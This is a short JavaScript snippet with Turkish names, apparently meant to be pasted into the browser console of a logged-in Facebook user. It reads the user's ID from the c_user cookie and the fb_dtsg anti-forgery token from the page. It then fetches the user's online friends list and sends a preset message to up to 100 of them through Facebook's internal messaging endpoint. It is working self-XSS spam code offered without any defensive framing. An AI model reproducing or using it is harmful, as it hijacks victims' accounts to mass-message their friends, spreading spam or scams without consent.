var profile_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]).toString();
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var mesaj = "Buraya Mesaj";
online_arkadaslar();
function yolla(facebook)
{
var httpc = new XMLHttpRequest();
var msgid = Math.floor(Math.random() * 1000000);
var paramsc = "message_batch[0][action_type]=ma-type%3Auser-generated-message&message_batch[0][author]=fbid%3A" +
profile_id +
"&message_batch[0][author_email]&message_batch[0][coordinates]&message_batch[0][is_forward]=false&message_batch[0][is_filtered_content]=false&message_batch[0][spoof_warning]=false&message_batch[0][source]=source%3Atitan%3Aweb&&message_batch[0][body]=" +
mesaj +
"&message_batch[0][has_attachment]=false&message_batch[0][html_body]=false&&message_batch[0][specific_to_list][0]=fbid%3A" +
facebook + "&message_batch[0][specific_to_list][1]=fbid%3A" + profile_id +
"&&message_batch[0][forward_count]=0&message_batch[0][force_sms]=true&message_batch[0][ui_push_phase]=V3&message_batch[0][status]=0&message_batch[0][message_id]=" +
msgid + "&client=mercury&__user=" + profile_id + "&__a=1&__dyn=&__req=i&fb_dtsg=" + fb_dtsg +
"&phstamp=";
httpc.open("POST", "/ajax/mercury/send_messages.php?__a=1", true);
httpc.onreadystatechange = function ()
{
if (httpc.readyState == 4 && httpc.status == 200)
{
httpc.close;
}
}
httpc.send(paramsc);
}
function online_arkadaslar()
{
var xmlhttp = new XMLHttpRequest();
var params = "user=" + profile_id + "&fetch_mobile=false&__user=" + profile_id + "&__a=1&__req=2&fb_dtsg=" +
fb_dtsg;
xmlhttp.open("POST", "/ajax/chat/buddy_list.php?__a=1", true);
xmlhttp.onreadystatechange = function ()
{
if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
{
var response = JSON.parse(xmlhttp.responseText.replace("for (;;);", ""));
var count = 0;
for (property in response.payload.buddy_list.nowAvailableList)
{
if (count < 100) yolla(property);
count++;
}
xmlhttp.close;
}
}
xmlhttp.send(params);
}